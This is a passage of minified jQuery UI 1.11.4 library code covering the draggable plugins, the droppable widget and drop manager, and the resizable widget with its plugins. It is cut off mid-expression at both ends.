})),n?(a.isOver||(a.isOver=1,s._parent=i.helper.parent(),a.currentItem=i.helper.appendTo(a.element).data("ui-sortable-item",!0),a.options._helper=a.options.helper,a.options.helper=function(){return i.helper[0]},t.target=a.currentItem[0],a._mouseCapture(t,!0),a._mouseStart(t,!0,!0),a.offset.click.top=s.offset.click.top,a.offset.click.left=s.offset.click.left,a.offset.parent.left-=s.offset.parent.left-a.offset.parent.left,a.offset.parent.top-=s.offset.parent.top-a.offset.parent.top,s._trigger("toSortable",t),s.dropped=a.element,e.each(s.sortables,function(){this.refreshPositions()}),s.currentItem=s.element,a.fromOutside=s),a.currentItem&&(a._mouseDrag(t),i.position=a.position)):a.isOver&&(a.isOver=0,a.cancelHelperRemoval=!0,a.options._revert=a.options.revert,a.options.revert=!1,a._trigger("out",t,a._uiHash(a)),a._mouseStop(t,!0),a.options.revert=a.options._revert,a.options.helper=a.options._helper,a.placeholder&&a.placeholder.remove(),i.helper.appendTo(s._parent),s._refreshOffsets(t),i.position=s._generatePosition(t,!0),s._trigger("fromSortable",t),s.dropped=!1,e.each(s.sortables,function(){this.refreshPositions()}))})}}),e.ui.plugin.add("draggable","cursor",{start:function(t,i,s){var n=e("body"),a=s.options;n.css("cursor")&&(a._cursor=n.css("cursor")),n.css("cursor",a.cursor)},stop:function(t,i,s){var n=s.options;n._cursor&&e("body").css("cursor",n._cursor)}}),e.ui.plugin.add("draggable","opacity",{start:function(t,i,s){var n=e(i.helper),a=s.options;n.css("opacity")&&(a._opacity=n.css("opacity")),n.css("opacity",a.opacity)},stop:function(t,i,s){var n=s.options;n._opacity&&e(i.helper).css("opacity",n._opacity)}}),e.ui.plugin.add("draggable","scroll",{start:function(e,t,i){i.scrollParentNotHidden||(i.scrollParentNotHidden=i.helper.scrollParent(!1)),i.scrollParentNotHidden[0]!==i.document[0]&&"HTML"!==i.scrollParentNotHidden[0].tagName&&(i.overflowOffset=i.scrollParentNotHidden.offset())},drag:function(t,i,s){var n=s.options,a=!1,o=s.scrollParentNotHidden[0],r=s.document[0];o!==r&&"HTML"!==o.tagName?(n.axis&&"x"===n.axis||(s.overflowOffset.top+o.offsetHeight-t.pageY<n.scrollSensitivity?o.scrollTop=a=o.scrollTop+n.scrollSpeed:t.pageY-s.overflowOffset.top<n.scrollSensitivity&&(o.scrollTop=a=o.scrollTop-n.scrollSpeed)),n.axis&&"y"===n.axis||(s.overflowOffset.left+o.offsetWidth-t.pageX<n.scrollSensitivity?o.scrollLeft=a=o.scrollLeft+n.scrollSpeed:t.pageX-s.overflowOffset.left<n.scrollSensitivity&&(o.scrollLeft=a=o.scrollLeft-n.scrollSpeed))):(n.axis&&"x"===n.axis||(t.pageY-e(r).scrollTop()<n.scrollSensitivity?a=e(r).scrollTop(e(r).scrollTop()-n.scrollSpeed):e(window).height()-(t.pageY-e(r).scrollTop())<n.scrollSensitivity&&(a=e(r).scrollTop(e(r).scrollTop()+n.scrollSpeed))),n.axis&&"y"===n.axis||(t.pageX-e(r).scrollLeft()<n.scrollSensitivity?a=e(r).scrollLeft(e(r).scrollLeft()-n.scrollSpeed):e(window).width()-(t.pageX-e(r).scrollLeft())<n.scrollSensitivity&&(a=e(r).scrollLeft(e(r).scrollLeft()+n.scrollSpeed)))),a!==!1&&e.ui.ddmanager&&!n.dropBehaviour&&e.ui.ddmanager.prepareOffsets(s,t)}}),e.ui.plugin.add("draggable","snap",{start:function(t,i,s){var n=s.options;s.snapElements=[],e(n.snap.constructor!==String?n.snap.items||":data(ui-draggable)":n.snap).each(function(){var t=e(this),i=t.offset();this!==s.element[0]&&s.snapElements.push({item:this,width:t.outerWidth(),height:t.outerHeight(),top:i.top,left:i.left})})},drag:function(t,i,s){var n,a,o,r,h,l,u,d,c,p,f=s.options,m=f.snapTolerance,g=i.offset.left,v=g+s.helperProportions.width,y=i.offset.top,b=y+s.helperProportions.height;for(c=s.snapElements.length-1;c>=0;c--)h=s.snapElements[c].left-s.margins.left,l=h+s.snapElements[c].width,u=s.snapElements[c].top-s.margins.top,d=u+s.snapElements[c].height,h-m>v||g>l+m||u-m>b||y>d+m||!e.contains(s.snapElements[c].item.ownerDocument,s.snapElements[c].item)?(s.snapElements[c].snapping&&s.options.snap.release&&s.options.snap.release.call(s.element,t,e.extend(s._uiHash(),{snapItem:s.snapElements[c].item})),s.snapElements[c].snapping=!1):("inner"!==f.snapMode&&(n=m>=Math.abs(u-b),a=m>=Math.abs(d-y),o=m>=Math.abs(h-v),r=m>=Math.abs(l-g),n&&(i.position.top=s._convertPositionTo("relative",{top:u-s.helperProportions.height,left:0}).top),a&&(i.position.top=s._convertPositionTo("relative",{top:d,left:0}).top),o&&(i.position.left=s._convertPositionTo("relative",{top:0,left:h-s.helperProportions.width}).left),r&&(i.position.left=s._convertPositionTo("relative",{top:0,left:l}).left)),p=n||a||o||r,"outer"!==f.snapMode&&(n=m>=Math.abs(u-y),a=m>=Math.abs(d-b),o=m>=Math.abs(h-g),r=m>=Math.abs(l-v),n&&(i.position.top=s._convertPositionTo("relative",{top:u,left:0}).top),a&&(i.position.top=s._convertPositionTo("relative",{top:d-s.helperProportions.height,left:0}).top),o&&(i.position.left=s._convertPositionTo("relative",{top:0,left:h}).left),r&&(i.position.left=s._convertPositionTo("relative",{top:0,left:l-s.helperProportions.width}).left)),!s.snapElements[c].snapping&&(n||a||o||r||p)&&s.options.snap.snap&&s.options.snap.snap.call(s.element,t,e.extend(s._uiHash(),{snapItem:s.snapElements[c].item})),s.snapElements[c].snapping=n||a||o||r||p)}}),e.ui.plugin.add("draggable","stack",{start:function(t,i,s){var n,a=s.options,o=e.makeArray(e(a.stack)).sort(function(t,i){return(parseInt(e(t).css("zIndex"),10)||0)-(parseInt(e(i).css("zIndex"),10)||0)});o.length&&(n=parseInt(e(o[0]).css("zIndex"),10)||0,e(o).each(function(t){e(this).css("zIndex",n+t)}),this.css("zIndex",n+o.length))}}),e.ui.plugin.add("draggable","zIndex",{start:function(t,i,s){var n=e(i.helper),a=s.options;n.css("zIndex")&&(a._zIndex=n.css("zIndex")),n.css("zIndex",a.zIndex)},stop:function(t,i,s){var n=s.options;n._zIndex&&e(i.helper).css("zIndex",n._zIndex)}}),e.ui.draggable,e.widget("ui.droppable",{version:"1.11.4",widgetEventPrefix:"drop",options:{accept:"*",activeClass:!1,addClasses:!0,greedy:!1,hoverClass:!1,scope:"default",tolerance:"intersect",activate:null,deactivate:null,drop:null,out:null,over:null},_create:function(){var t,i=this.options,s=i.accept;this.isover=!1,this.isout=!0,this.accept=e.isFunction(s)?s:function(e){return e.is(s)},this.proportions=function(){return arguments.length?(t=arguments[0],void 0):t?t:t={width:this.element[0].offsetWidth,height:this.element[0].offsetHeight}},this._addToManager(i.scope),i.addClasses&&this.element.addClass("ui-droppable")},_addToManager:function(t){e.ui.ddmanager.droppables[t]=e.ui.ddmanager.droppables[t]||[],e.ui.ddmanager.droppables[t].push(this)},_splice:function(e){for(var t=0;e.length>t;t++)e[t]===this&&e.splice(t,1)},_destroy:function(){var t=e.ui.ddmanager.droppables[this.options.scope];this._splice(t),this.element.removeClass("ui-droppable ui-droppable-disabled")},_setOption:function(t,i){if("accept"===t)this.accept=e.isFunction(i)?i:function(e){return e.is(i)};else if("scope"===t){var s=e.ui.ddmanager.droppables[this.options.scope];this._splice(s),this._addToManager(i)}this._super(t,i)},_activate:function(t){var i=e.ui.ddmanager.current;this.options.activeClass&&this.element.addClass(this.options.activeClass),i&&this._trigger("activate",t,this.ui(i))},_deactivate:function(t){var i=e.ui.ddmanager.current;this.options.activeClass&&this.element.removeClass(this.options.activeClass),i&&this._trigger("deactivate",t,this.ui(i))},_over:function(t){var i=e.ui.ddmanager.current;i&&(i.currentItem||i.element)[0]!==this.element[0]&&this.accept.call(this.element[0],i.currentItem||i.element)&&(this.options.hoverClass&&this.element.addClass(this.options.hoverClass),this._trigger("over",t,this.ui(i)))},_out:function(t){var i=e.ui.ddmanager.current;i&&(i.currentItem||i.element)[0]!==this.element[0]&&this.accept.call(this.element[0],i.currentItem||i.element)&&(this.options.hoverClass&&this.element.removeClass(this.options.hoverClass),this._trigger("out",t,this.ui(i)))},_drop:function(t,i){var s=i||e.ui.ddmanager.current,n=!1;return s&&(s.currentItem||s.element)[0]!==this.element[0]?(this.element.find(":data(ui-droppable)").not(".ui-draggable-dragging").each(function(){var i=e(this).droppable("instance");return i.options.greedy&&!i.options.disabled&&i.options.scope===s.options.scope&&i.accept.call(i.element[0],s.currentItem||s.element)&&e.ui.intersect(s,e.extend(i,{offset:i.element.offset()}),i.options.tolerance,t)?(n=!0,!1):void 0}),n?!1:this.accept.call(this.element[0],s.currentItem||s.element)?(this.options.activeClass&&this.element.removeClass(this.options.activeClass),this.options.hoverClass&&this.element.removeClass(this.options.hoverClass),this._trigger("drop",t,this.ui(s)),this.element):!1):!1},ui:function(e){return{draggable:e.currentItem||e.element,helper:e.helper,position:e.position,offset:e.positionAbs}}}),e.ui.intersect=function(){function e(e,t,i){return e>=t&&t+i>e}return function(t,i,s,n){if(!i.offset)return!1;var a=(t.positionAbs||t.position.absolute).left+t.margins.left,o=(t.positionAbs||t.position.absolute).top+t.margins.top,r=a+t.helperProportions.width,h=o+t.helperProportions.height,l=i.offset.left,u=i.offset.top,d=l+i.proportions().width,c=u+i.proportions().height;switch(s){case"fit":return a>=l&&d>=r&&o>=u&&c>=h;case"intersect":return a+t.helperProportions.width/2>l&&d>r-t.helperProportions.width/2&&o+t.helperProportions.height/2>u&&c>h-t.helperProportions.height/2;case"pointer":return e(n.pageY,u,i.proportions().height)&&e(n.pageX,l,i.proportions().width);case"touch":return(o>=u&&c>=o||h>=u&&c>=h||u>o&&h>c)&&(a>=l&&d>=a||r>=l&&d>=r||l>a&&r>d);default:return!1}}}(),e.ui.ddmanager={current:null,droppables:{"default":[]},prepareOffsets:function(t,i){var s,n,a=e.ui.ddmanager.droppables[t.options.scope]||[],o=i?i.type:null,r=(t.currentItem||t.element).find(":data(ui-droppable)").addBack();e:for(s=0;a.length>s;s++)if(!(a[s].options.disabled||t&&!a[s].accept.call(a[s].element[0],t.currentItem||t.element))){for(n=0;r.length>n;n++)if(r[n]===a[s].element[0]){a[s].proportions().height=0;continue e}a[s].visible="none"!==a[s].element.css("display"),a[s].visible&&("mousedown"===o&&a[s]._activate.call(a[s],i),a[s].offset=a[s].element.offset(),a[s].proportions({width:a[s].element[0].offsetWidth,height:a[s].element[0].offsetHeight}))}},drop:function(t,i){var s=!1;return e.each((e.ui.ddmanager.droppables[t.options.scope]||[]).slice(),function(){this.options&&(!this.options.disabled&&this.visible&&e.ui.intersect(t,this,this.options.tolerance,i)&&(s=this._drop.call(this,i)||s),!this.options.disabled&&this.visible&&this.accept.call(this.element[0],t.currentItem||t.element)&&(this.isout=!0,this.isover=!1,this._deactivate.call(this,i)))}),s},dragStart:function(t,i){t.element.parentsUntil("body").bind("scroll.droppable",function(){t.options.refreshPositions||e.ui.ddmanager.prepareOffsets(t,i)})},drag:function(t,i){t.options.refreshPositions&&e.ui.ddmanager.prepareOffsets(t,i),e.each(e.ui.ddmanager.droppables[t.options.scope]||[],function(){if(!this.options.disabled&&!this.greedyChild&&this.visible){var s,n,a,o=e.ui.intersect(t,this,this.options.tolerance,i),r=!o&&this.isover?"isout":o&&!this.isover?"isover":null;r&&(this.options.greedy&&(n=this.options.scope,a=this.element.parents(":data(ui-droppable)").filter(function(){return e(this).droppable("instance").options.scope===n}),a.length&&(s=e(a[0]).droppable("instance"),s.greedyChild="isover"===r)),s&&"isover"===r&&(s.isover=!1,s.isout=!0,s._out.call(s,i)),this[r]=!0,this["isout"===r?"isover":"isout"]=!1,this["isover"===r?"_over":"_out"].call(this,i),s&&"isout"===r&&(s.isout=!1,s.isover=!0,s._over.call(s,i)))}})},dragStop:function(t,i){t.element.parentsUntil("body").unbind("scroll.droppable"),t.options.refreshPositions||e.ui.ddmanager.prepareOffsets(t,i)}},e.ui.droppable,e.widget("ui.resizable",e.ui.mouse,{version:"1.11.4",widgetEventPrefix:"resize",options:{alsoResize:!1,animate:!1,animateDuration:"slow",animateEasing:"swing",aspectRatio:!1,autoHide:!1,containment:!1,ghost:!1,grid:!1,handles:"e,s,se",helper:!1,maxHeight:null,maxWidth:null,minHeight:10,minWidth:10,zIndex:90,resize:null,start:null,stop:null},_num:function(e){return parseInt(e,10)||0},_isNumber:function(e){return!isNaN(parseInt(e,10))},_hasScroll:function(t,i){if("hidden"===e(t).css("overflow"))return!1;var s=i&&"left"===i?"scrollLeft":"scrollTop",n=!1;return t[s]>0?!0:(t[s]=1,n=t[s]>0,t[s]=0,n)},_create:function(){var t,i,s,n,a,o=this,r=this.options;if(this.element.addClass("ui-resizable"),e.extend(this,{_aspectRatio:!!r.aspectRatio,aspectRatio:r.aspectRatio,originalElement:this.element,_proportionallyResizeElements:[],_helper:r.helper||r.ghost||r.animate?r.helper||"ui-resizable-helper":null}),this.element[0].nodeName.match(/^(canvas|textarea|input|select|button|img)$/i)&&(this.element.wrap(e("<div class='ui-wrapper' style='overflow: hidden;'></div>").css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")})),this.element=this.element.parent().data("ui-resizable",this.element.resizable("instance")),this.elementIsWrapper=!0,this.element.css({marginLeft:this.originalElement.css("marginLeft"),marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom")}),this.originalElement.css({marginLeft:0,marginTop:0,marginRight:0,marginBottom:0}),this.originalResizeStyle=this.originalElement.css("resize"),this.originalElement.css("resize","none"),this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"})),this.originalElement.css({margin:this.originalElement.css("margin")}),this._proportionallyResize()),this.handles=r.handles||(e(".ui-resizable-handle",this.element).length?{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne",nw:".ui-resizable-nw"}:"e,s,se"),this._handles=e(),this.handles.constructor===String)for("all"===this.handles&&(this.handles="n,e,s,w,se,sw,ne,nw"),t=this.handles.split(","),this.handles={},i=0;t.length>i;i++)s=e.trim(t[i]),a="ui-resizable-"+s,n=e("<div class='ui-resizable-handle "+a+"'></div>"),n.css({zIndex:r.zIndex}),"se"===s&&n.addClass("ui-icon ui-icon-gripsmall-diagonal-se"),this.handles[s]=".ui-resizable-"+s,this.element.append(n);this._renderAxis=function(t){var i,s,n,a;t=t||this.element;for(i in this.handles)this.handles[i].constructor===String?this.handles[i]=this.element.children(this.handles[i]).first().show():(this.handles[i].jquery||this.handles[i].nodeType)&&(this.handles[i]=e(this.handles[i]),this._on(this.handles[i],{mousedown:o._mouseDown})),this.elementIsWrapper&&this.originalElement[0].nodeName.match(/^(textarea|input|select|button)$/i)&&(s=e(this.handles[i],this.element),a=/sw|ne|nw|se|n|s/.test(i)?s.outerHeight():s.outerWidth(),n=["padding",/ne|nw|n/.test(i)?"Top":/se|sw|s/.test(i)?"Bottom":/^e$/.test(i)?"Right":"Left"].join(""),t.css(n,a),this._proportionallyResize()),this._handles=this._handles.add(this.handles[i])},this._renderAxis(this.element),this._handles=this._handles.add(this.element.find(".ui-resizable-handle")),this._handles.disableSelection(),this._handles.mouseover(function(){o.resizing||(this.className&&(n=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i)),o.axis=n&&n[1]?n[1]:"se")}),r.autoHide&&(this._handles.hide(),e(this.element).addClass("ui-resizable-autohide").mouseenter(function(){r.disabled||(e(this).removeClass("ui-resizable-autohide"),o._handles.show())}).mouseleave(function(){r.disabled||o.resizing||(e(this).addClass("ui-resizable-autohide"),o._handles.hide())})),this._mouseInit()},_destroy:function(){this._mouseDestroy();var t,i=function(t){e(t).removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing").removeData("resizable").removeData("ui-resizable").unbind(".resizable").find(".ui-resizable-handle").remove()};return this.elementIsWrapper&&(i(this.element),t=this.element,this.originalElement.css({position:t.css("position"),width:t.outerWidth(),height:t.outerHeight(),top:t.css("top"),left:t.css("left")}).insertAfter(t),t.remove()),this.originalElement.css("resize",this.originalResizeStyle),i(this.originalElement),this},_mouseCapture:function(t){var i,s,n=!1;for(i in this.handles)s=e(this.handles[i])[0],(s===t.target||e.contains(s,t.target))&&(n=!0);return!this.options.disabled&&n},_mouseStart:function(t){var i,s,n,a=this.options,o=this.element;return this.resizing=!0,this._renderProxy(),i=this._num(this.helper.css("left")),s=this._num(this.helper.css("top")),a.containment&&(i+=e(a.containment).scrollLeft()||0,s+=e(a.containment).scrollTop()||0),this.offset=this.helper.offset(),this.position={left:i,top:s},this.size=this._helper?{width:this.helper.width(),height:this.helper.height()}:{width:o.width(),height:o.height()},this.originalSize=this._helper?{width:o.outerWidth(),height:o.outerHeight()}:{width:o.width(),height:o.height()},this.sizeDiff={width:o.outerWidth()-o.width(),height:o.outerHeight()-o.height()},this.originalPosition={left:i,top:s},this.originalMousePosition={left:t.pageX,top:t.pageY},this.aspectRatio="number"==typeof a.aspectRatio?a.aspectRatio:this.originalSize.width/this.originalSize.height||1,n=e(".ui-resizable-"+this.axis).css("cursor"),e("body").css("cursor","auto"===n?this.axis+"-resize":n),o.addClass("ui-resizable-resizing"),this._propagate("start",t),!0},_mouseDrag:function(t){var i,s,n=this.originalMousePosition,a=this.axis,o=t.pageX-n.left||0,r=t.pageY-n.top||0,h=this._change[a];return this._updatePrevProperties(),h?(i=h.apply(this,[t,o,r]),this._updateVirtualBoundaries(t.shiftKey),(this._aspectRatio||t.shiftKey)&&(i=this._updateRatio(i,t)),i=this._respectSize(i,t),this._updateCache(i),this._propagate("resize",t),s=this._applyChanges(),!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize(),e.isEmptyObject(s)||(this._updatePrevProperties(),this._trigger("resize",t,this.ui()),this._applyChanges()),!1):!1},_mouseStop:function(t){this.resizing=!1;var i,s,n,a,o,r,h,l=this.options,u=this;return this._helper&&(i=this._proportionallyResizeElements,s=i.length&&/textarea/i.test(i[0].nodeName),n=s&&this._hasScroll(i[0],"left")?0:u.sizeDiff.height,a=s?0:u.sizeDiff.width,o={width:u.helper.width()-a,height:u.helper.height()-n},r=parseInt(u.element.css("left"),10)+(u.position.left-u.originalPosition.left)||null,h=parseInt(u.element.css("top"),10)+(u.position.top-u.originalPosition.top)||null,l.animate||this.element.css(e.extend(o,{top:h,left:r})),u.helper.height(u.size.height),u.helper.width(u.size.width),this._helper&&!l.animate&&this._proportionallyResize()),e("body").css("cursor","auto"),this.element.removeClass("ui-resizable-resizing"),this._propagate("stop",t),this._helper&&this.helper.remove(),!1},_updatePrevProperties:function(){this.prevPosition={top:this.position.top,left:this.position.left},this.prevSize={width:this.size.width,height:this.size.height}},_applyChanges:function(){var e={};return this.position.top!==this.prevPosition.top&&(e.top=this.position.top+"px"),this.position.left!==this.prevPosition.left&&(e.left=this.position.left+"px"),this.size.width!==this.prevSize.width&&(e.width=this.size.width+"px"),this.size.height!==this.prevSize.height&&(e.height=this.size.height+"px"),this.helper.css(e),e},_updateVirtualBoundaries:function(e){var t,i,s,n,a,o=this.options;a={minWidth:this._isNumber(o.minWidth)?o.minWidth:0,maxWidth:this._isNumber(o.maxWidth)?o.maxWidth:1/0,minHeight:this._isNumber(o.minHeight)?o.minHeight:0,maxHeight:this._isNumber(o.maxHeight)?o.maxHeight:1/0},(this._aspectRatio||e)&&(t=a.minHeight*this.aspectRatio,s=a.minWidth/this.aspectRatio,i=a.maxHeight*this.aspectRatio,n=a.maxWidth/this.aspectRatio,t>a.minWidth&&(a.minWidth=t),s>a.minHeight&&(a.minHeight=s),a.maxWidth>i&&(a.maxWidth=i),a.maxHeight>n&&(a.maxHeight=n)),this._vBoundaries=a},_updateCache:function(e){this.offset=this.helper.offset(),this._isNumber(e.left)&&(this.position.left=e.left),this._isNumber(e.top)&&(this.position.top=e.top),this._isNumber(e.height)&&(this.size.height=e.height),this._isNumber(e.width)&&(this.size.width=e.width)},_updateRatio:function(e){var t=this.position,i=this.size,s=this.axis;return this._isNumber(e.height)?e.width=e.height*this.aspectRatio:this._isNumber(e.width)&&(e.height=e.width/this.aspectRatio),"sw"===s&&(e.left=t.left+(i.width-e.width),e.top=null),"nw"===s&&(e.top=t.top+(i.height-e.height),e.left=t.left+(i.width-e.width)),e},_respectSize:function(e){var t=this._vBoundaries,i=this.axis,s=this._isNumber(e.width)&&t.maxWidth&&t.maxWidth<e.width,n=this._isNumber(e.height)&&t.maxHeight&&t.maxHeight<e.height,a=this._isNumber(e.width)&&t.minWidth&&t.minWidth>e.width,o=this._isNumber(e.height)&&t.minHeight&&t.minHeight>e.height,r=this.originalPosition.left+this.originalSize.width,h=this.position.top+this.size.height,l=/sw|nw|w/.test(i),u=/nw|ne|n/.test(i);return a&&(e.width=t.minWidth),o&&(e.height=t.minHeight),s&&(e.width=t.maxWidth),n&&(e.height=t.maxHeight),a&&l&&(e.left=r-t.minWidth),s&&l&&(e.left=r-t.maxWidth),o&&u&&(e.top=h-t.minHeight),n&&u&&(e.top=h-t.maxHeight),e.width||e.height||e.left||!e.top?e.width||e.height||e.top||!e.left||(e.left=null):e.top=null,e},_getPaddingPlusBorderDimensions:function(e){for(var t=0,i=[],s=[e.css("borderTopWidth"),e.css("borderRightWidth"),e.css("borderBottomWidth"),e.css("borderLeftWidth")],n=[e.css("paddingTop"),e.css("paddingRight"),e.css("paddingBottom"),e.css("paddingLeft")];4>t;t++)i[t]=parseInt(s[t],10)||0,i[t]+=parseInt(n[t],10)||0;return{height:i[0]+i[2],width:i[1]+i[3]}},_proportionallyResize:function(){if(this._proportionallyResizeElements.length)for(var e,t=0,i=this.helper||this.element;this._proportionallyResizeElements.length>t;t++)e=this._proportionallyResizeElements[t],this.outerDimensions||(this.outerDimensions=this._getPaddingPlusBorderDimensions(e)),e.css({height:i.height()-this.outerDimensions.height||0,width:i.width()-this.outerDimensions.width||0})},_renderProxy:function(){var t=this.element,i=this.options;this.elementOffset=t.offset(),this._helper?(this.helper=this.helper||e("<div style='overflow:hidden;'></div>"),this.helper.addClass(this._helper).css({width:this.element.outerWidth()-1,height:this.element.outerHeight()-1,position:"absolute",left:this.elementOffset.left+"px",top:this.elementOffset.top+"px",zIndex:++i.zIndex}),this.helper.appendTo("body").disableSelection()):this.helper=this.element},_change:{e:function(e,t){return{width:this.originalSize.width+t}},w:function(e,t){var i=this.originalSize,s=this.originalPosition;return{left:s.left+t,width:i.width-t}},n:function(e,t,i){var s=this.originalSize,n=this.originalPosition;return{top:n.top+i,height:s.height-i}},s:function(e,t,i){return{height:this.originalSize.height+i}},se:function(t,i,s){return e.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[t,i,s]))},sw:function(t,i,s){return e.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[t,i,s]))},ne:function(t,i,s){return e.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[t,i,s]))},nw:function(t,i,s){return e.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[t,i,s]))}},_propagate:function(t,i){e.ui.plugin.call(this,t,[i,this.ui()]),"resize"!==t&&this._trigger(t,i,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}}),e.ui.plugin.add("resizable","animate",{stop:function(t){var i=e(this).resizable("instance"),s=i.options,n=i._proportionallyResizeElements,a=n.length&&/textarea/i.test(n[0].nodeName),o=a&&i._hasScroll(n[0],"left")?0:i.sizeDiff.height,r=a?0:i.sizeDiff.width,h={width:i.size.width-r,height:i.size.height-o},l=parseInt(i.element.css("left"),10)+(i.position.left-i.originalPosition.left)||null,u=parseInt(i.element.css("top"),10)+(i.position.top-i.originalPosition.top)||null;i.element.animate(e.extend(h,u&&l?{top:u,left:l}:{}),{duration:s.animateDuration,easing:s.animateEasing,step:function(){var s={width:parseInt(i.element.css("width"),10),height:parseInt(i.element.css("height"),10),top:parseInt(i.element.css("top"),10),left:parseInt(i.element.css("left"),10)};n&&n.length&&e(n[0]).css({width:s.width,height:s.height}),i._updateCache(s),i._propagate("resize",t)}})}}),e.ui.plugin.add("resizable","containment",{start:function(){var t,i,s,n,a,o,r,h=e(this).resizable("instance"),l=h.options,u=h.element,d=l.containment,c=d instanceof e?d.get(0):/parent/.test(d)?u.parent().get(0):d;c&&(h.containerElement=e(c),/document/.test(d)||d===document?(h.containerOffset={left:0,top:0},h.containerPosition={left:0,top:0},h.parentData={element:e(document),left:0,top:0,width:e(document).width(),height:e(document).height()||document.body.parentNode.scrollHeight}):(t=e(c),i=[],e(["Top","Right","Left","Bottom"]).each(function(e,s){i[e]=h._num(t.css("padding"+s))}),h.containerOffset=t.offset(),h.containerPosition=t.position(),h.containerSize={height:t.innerHeight()-i[3],width:t.innerWidth()-i[1]},s=h.containerOffset,n=h.containerSize.height,a=h.containerSize.width,o=h._hasScroll(c,"left")?c.scrollWidth:a,r=h._hasScroll(c)?c.scrollHeight:n,h.parentData={element:c,left:s.left,top:s.top,width:o,height:r}))},resize:function(t){var i,s,n,a,o=e(this).resizable("instance"),r=o.options,h=o.containerOffset,l=o.position,u=o._aspectRatio||t.shiftKey,d={top:0,left:0},c=o.containerElement,p=!0;c[0]!==document&&/static/.test(c.css("position"))&&(d=h),l.left<(o._helper?h.left:0)&&(o.size.width=o.size.width+(o._helper?o.position.left-h.left:o.position.left-d.left),u&&(o.size.height=o.size.width/o.aspectRatio,p=!1),o.position.left=r.helper?h.left:0),l.top<(o._helper?h.top:0)&&(o.size.height=o.size.height+(o._helper?o.position.top-h.top:o.position.top),u&&(o.size.width=o.size.height*o.aspectRatio,p=!1),o.position.top=o._helper?h.top:0),n=o.containerElement.get(0)===o.element.parent().get(0),a=/relative|absolute/.test(o.containerElement.css("position")),n&&a?(o.offset.left=o.parentData.left+o.position.left,o.offset.top=o.parentData.top+o.position.top):(o.offset.left=o.element.offset().left,o.offset.top=o.element.offset().top),i=Math.abs(o.sizeDiff.width+(o._helper?o.offset.left-d.left:o.offset.left-h.left)),s=Math.abs(o.sizeDiff.height+(o._helper?o.offset.top-d.top:o.offset.top-h.top)),i+o.size.width>=o.parentData.width&&(o.size.width=o.parentData.width-i,u&&(o.size.height=o.size.width/o.aspectRatio,p=!1)),s+o.size.height>=o.parentData.height&&(o.size.height=o.parentData.height-s,u&&(o.size.width=o.size.height*o.aspectRatio,p=!1)),p||(o.position.left=o.prevPosition.left,o.position.top=o.prevPosition.top,o.size.width=o.prevSize.width,o.size.height=o.prevSize.height)},stop:function(){var t=e(this).resizable("instance"),i=t.options,s=t.containerOffset,n=t.containerPosition,a=t.containerElement,o=e(t.helper),r=o.offset(),h=o.outerWidth()-t.sizeDiff.width,l=o.outerHeight()-t.sizeDiff.height;t._helper&&!i.animate&&/relative/.test(a.css("position"))&&e(this).css({left:r.left-n.left-s.left,width:h,height:l}),t._helper&&!i.animate&&/static/.test(a.css("position"))&&e(this).css({left:r.left-n.left-s.left,width:h,height:l})}}),e.ui.plugin.add("resizable","alsoResize",{start:function(){var t=e(this).resizable("instance"),i=t.options;e(i.alsoResize).each(function(){var t=e(this);t.data("ui-resizable-alsoresize",{width:parseInt(t.width(),10),height:parseInt(t.height(),10),left:parseInt(t.css("left"),10),top:parseInt(t.css("top"),10)})})},resize:function(t,i){var s=e(this).resizable("instance"),n=s.options,a=s.originalSize,o=s.originalPosition,r={height:s.size.height-a.height||0,width:s.size.width-a.width||0,top:s.position.top-o.top||0,left:s.position.left-o.left||0};e(n.alsoResize).each(function(){var t=e(this),s=e(this).data("ui-resizable-alsoresize"),n={},a=t.parents(i.originalElement[0]).length?["width","height"]:["width","height","top","left"];e.each(a,function(e,t){var i=(s[t]||0)+(r[t]||0);i&&i>=0&&(n[t]=i||null)}),t.css(n)})},stop:function(){e(this).removeData("resizable-alsoresize")}}),e.ui.plugin.add("resizable","ghost",{start:function(){var t=e(this).resizable("instance"),i=t.options,s=t.size;t.ghost=t.originalElement.clone(),t.ghost.css({opacity:.25,display:"block",position:"relative",height:s.height,width:s.width,margin:0,left:0,top:0}).addClass("ui-resizable-ghost").addClass("string"==typeof i.ghost?i.ghost:""),t.ghost.appendTo(t.helper)},resize:function(){var t=e(this).resizable("instance");t.ghost&&t.ghost.css({position:"relative",height:t.size.height,width:t.size.width})},stop:function(){var t=e(this).resizable("instance");t.ghost&&t.helper&&t.helper.get(0).removeChild(t.ghost.get(0))}}),e.ui.plugin.add("resizable","grid",{resize:function(){var t,i=e(this).resizable("instance"),s=i.options,n=i.size,a=i.originalSize,o=i.originalPosition,r=i.axis,h="number"==typeof 